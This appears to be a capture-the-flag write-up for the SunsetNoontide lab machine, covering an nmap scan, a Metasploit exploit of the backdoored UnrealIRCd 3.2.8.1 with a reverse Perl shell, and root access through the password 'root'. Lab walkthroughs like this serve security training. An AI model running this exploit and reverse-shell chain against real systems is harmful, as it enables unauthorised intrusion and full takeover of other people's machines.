

SunsetNoontide Writeup – Proving Grounds

Scanning :-

~

```
→ sudo nmap sunsetnoon.tide -v -p- -T 5 --script=vuln
```

```
[sudo] password for maskman:
```

```
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-25 12:17 IST
```

```
Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan
```

```
(https://nmap.org/book/man-port-scanning-techniques.html).
```

```
Scanning sunsetnoon.tide (192.168.218.120) [65535 ports]
```

```
Discovered open port 6667/tcp on 192.168.218.120
```

```
Discovered open port 8067/tcp on 192.168.218.120
```

```
Discovered open port 6697/tcp on 192.168.218.120
```

```
PORT      STATE SERVICE
```

```
6667/tcp  open  irc
```

```
|_irc-unrealircd-backdoor: Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again).
```

```
| irc-botnet-channels:
```

```
|_ ERROR: Closing Link: [192.168.49.218] (Too many unknown connections from your IP)
```

```
6697/tcp  open  ircs-u
```

```
|_ssl-ccs-injection: No reply from server (TIMEOUT)
```

```
| irc-botnet-channels:
```

```
|_ ERROR: Closing Link: [192.168.49.218] (Too many unknown connections from your IP)
```

```
8067/tcp  open  infi-async
```

```
|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd.
```

```
See http://seclists.org/fulldisclosure/2010/Jun/277
```

```
| irc-botnet-channels:
```

Foothold :-

I searched in searchsploit and found few exploits for UnrealIRCd. To make things easier I used metasploit to gain foothold.

```
+ searchsploit unrealircd
```

Exploit Title	Path
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)	linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow	windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute	linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service	windows/dos/27407.pl

Shellcodes: No Results
Papers: No Results

unix/irc/unreal_ircd_3281_backdoor is the exploit in Metasploit Framework.

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload payload/cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    192.168.218.120  yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     6667             yes       The target port (TCP)

Payload options (cmd/unix/reverse_perl):

  Name      Current Setting  Required  Description
  ----      -
  LHOST     [REDACTED]       yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic Target

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run

[*] Started reverse TCP handler on [REDACTED]:4444
[*] 192.168.218.120:6667 - Connected to 192.168.218.120:6667...
    :irc.foonet.com NOTICE AUTH :*** Looking up your hostname...
[*] 192.168.218.120:6667 - Sending backdoor command...
[*] Command shell session 1 opened ([REDACTED] -> 192.168.218.120:60472 ) at 2021-12-25 12:45:39 +0530
```

Here's the user flag :

```
server@noontide:~$ ls -la
ls -la
total 32
drwxr-xr-x 3 server server 4096 Dec  3  2020 .
drwxr-xr-x 3 root  root  4096 Aug  8  2020 ..
lrwxrwxrwx 1 root  root    9 Aug  8  2020 .bash_history -> /dev/null
-rw-r--r-- 1 server server  220 Aug  8  2020 .bash_logout
-rw-r--r-- 1 server server 3526 Aug  8  2020 .bashrc
drwxr-xr-x 3 server server 4096 Aug  8  2020 irc
-rw-r--r-- 1 server server  33 Dec 25 01:39 local.txt
-rw-r--r-- 1 server server  807 Aug  8  2020 .profile
-rw-r--r-- 1 server server  66 Aug  8  2020 .selected_editor
server@noontide:~$ cat local.txt
cat local.txt
server@noontide:~$ _
```

Privilege Escalation :-

Privilege escalation is a piece of cake in this machine. Root account's password is root itself. That was totally unexpected.

Here's the Root flag :

```
### SCAN COMPLETE #####
server@noontide:/tmp$ su
su
Password: root
root@noontide:/tmp# cd /root
cd /root
root@noontide:~# ls -l
ls -l
total 4
-rw----- 1 root root 33 Dec 25 01:39 proof.txt
root@noontide:~# cat proof.txt
cat proof.txt
root@noontide:~# _
```